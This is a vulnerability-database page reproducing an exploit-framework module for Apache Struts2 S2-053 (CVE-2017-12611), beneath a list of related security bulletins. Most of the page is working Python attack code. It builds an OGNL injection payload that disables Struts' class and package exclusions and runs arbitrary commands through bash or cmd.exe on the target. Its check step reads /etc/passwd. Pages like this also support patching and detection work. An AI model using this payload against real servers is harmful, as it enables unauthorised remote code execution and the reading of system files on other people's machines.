Lucene search
+L

Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote code execution in Apache Struts 2 via Freemarker tag OGNL injection in name parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Order Management could be subject to an Apache Struts vulnerability that could allow a remote attacker to execute arbitrary code on the system.
12 Apr 202417:44
–ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)
14 Sep 202217:37
–ibm
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Spectrum Conductor with Spark (CVE-2017-9787, CVE-2017-9804, and CVE-2017-12611)
18 Jun 201801:38
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Open Source Apache Struts Vulnerabilities affect IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation
24 Jun 201802:07
–ibm
zdt
zdt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution Exploit
29 Apr 201800:00
–zdt
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Struts
8 Sep 201702:50
–githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Gnu Bash
2 Jan 201700:52
–githubexploit
atlassian
Atlassian
Remote Code Execution attack via unintentional expression in Freemarker tag - CVE-2017-12611
17 Nov 202022:21
–atlassian
atlassian
Atlassian
Remote Code Execution attack via unintentional expression in Freemarker tag - CVE-2017-12611
19 Nov 202000:08
–atlassian
atlassian
Atlassian
Remote Code Execution attack via unintentional expression in Freemarker tag - CVE-2017-12611
17 Nov 202022:21
–atlassian
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-053 Freemarker OGNL RCE (CVE-2017-12611)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)',
        'description': (
            'Exploits CVE-2017-12611 (S2-053) in Apache Struts 2 via Freemarker '
            'tag OGNL injection in the name parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-12611'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://struts.apache.org/docs/s2-053.html',
        ],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_12611_detect'],
            },
        },
    }

    def _ognl_payload(self, cmd: str) -> str:
        safe = urllib.parse.quote(str(cmd))
        raw = (
            '%{(#[email protected]@DEFAULT_MEMBER_ACCESS).'
            '(#_memberAccess?(#_memberAccess=#dm):'
            '((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).'
            '(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).'
            '(#ognlUtil.getExcludedPackageNames().clear()).'
            '(#ognlUtil.getExcludedClasses().clear()).'
            '(#context.setMemberAccess(#dm)))).'
            f'(#cmd=\'{cmd}\').'
            '(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\')))'
            '.(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).'
            '(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).'
            '(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}'
        )
        return f'/?name={urllib.parse.quote(raw, safe="")}'

    def execute(self, cmd: str) -> str:
        r = self.http_request(method='POST', path=self._ognl_payload(cmd), allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2017-12611 S2-053 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No command output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.87123
1